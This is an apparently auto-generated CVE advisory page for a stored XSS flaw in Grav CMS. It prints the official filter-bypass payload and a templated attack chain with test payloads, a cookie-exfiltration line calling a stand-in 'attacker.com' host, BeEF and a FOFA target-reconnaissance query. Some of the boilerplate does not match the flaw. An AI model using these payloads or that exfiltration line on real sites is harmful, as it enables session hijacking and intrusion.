CVE Professor
›
Back
CVE-2026-72832

CVE-2026-72832 — Getgrav Grav (2.0.13) — CWE-79

MEDIUM CVSS 5.4 CVE.org

CVE-2026-72832 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 5.4/10) affecting Getgrav Grav (2.0.13). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) requiring user interaction, posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

Grav versions 1.5.2 before 2.0.13 contain a stored cross-site scripting vulnerability in the Security::detectXss() function (system/src/Grav/Common/Security.php). The event-handler scan is anchored at `<` and uses `[^>]*?`, which cannot cross the first literal `>`; when a `>` appears inside a quoted attribute value the browser keeps the tag open and parses a subsequent event handler (e.g. onerror), so the detector and browser disagree. A page editor without admin.super privileges can save page content such as `<img src=x title=">" onerror=alert(document.domain)>`, which is accepted, stored, and executed in the site origin when any visitor (including unauthenticated users) views the page. Fixed in 2.0.13.

Published 14.08.2026
ISO Date 2026-08-14
CVSS Version v4.0
Source CVE.org
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction Passive UI:P
Vuln. Conf. Low VC:L
Vuln. Integrity Low VI:L
Vuln. Avail. None VA:N
Subseq. Conf. Low SC:L
Subseq. Integ. Low SI:L
Subseq. Avail. None SA:N
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-72832
CVSS 5.4/10 · MEDIUM · 14.08.2026
CWE: CWE-79
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: Grav versions 1.5.2 before 2.0.13 contain a stored cross-site scripting vulnerability in the Security::detectXss() function (system/src/Grav/Common/Security.php). The event-handler scan is anchored at < and uses [^>]*?, which cannot cross the first literal >; when a > appears inside a quoted attribute value the browser keeps the tag open and parses a subsequent event handler (e.g. onerr…
Affected: getgrav:grav

⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.

🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 REAL WORLD IMPACT

🛡️ REMEDIATION
→ Apply vendor security update for getgrav:grav.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📋 Routine update cycle (30 days)

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
5.4 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-79
Affected Products (1)
getgrav:grav (2.0.13)
References & Advisories (3)
Related CVEs
8.7
CVE-2026-129424
Joomla Extension - solidres.com - Unauthenticated stored XSS through guest reservation details in Solidres ext
7.7
CVE-2026-122244
Budibase is an open-source low-code platform. Prior to 3.50.0, a BASIC application user, or an unauthenticated
7.5
CVE-2026-129423
Joomla Extension - phoca.cz - Stored XSS through author website in frontend upload in Phoca Download extension
7.2
CVE-2026-120508
The Charitable – Donation & Fundraising Platform (Donation Forms, Recurring Donations & Fundraising Campaign
7.2
CVE-2026-129327
The Apaczka.pl WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_apaczka
7.2
CVE-2026-131582
The PagBank / PagSeguro e Vindi para WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scrip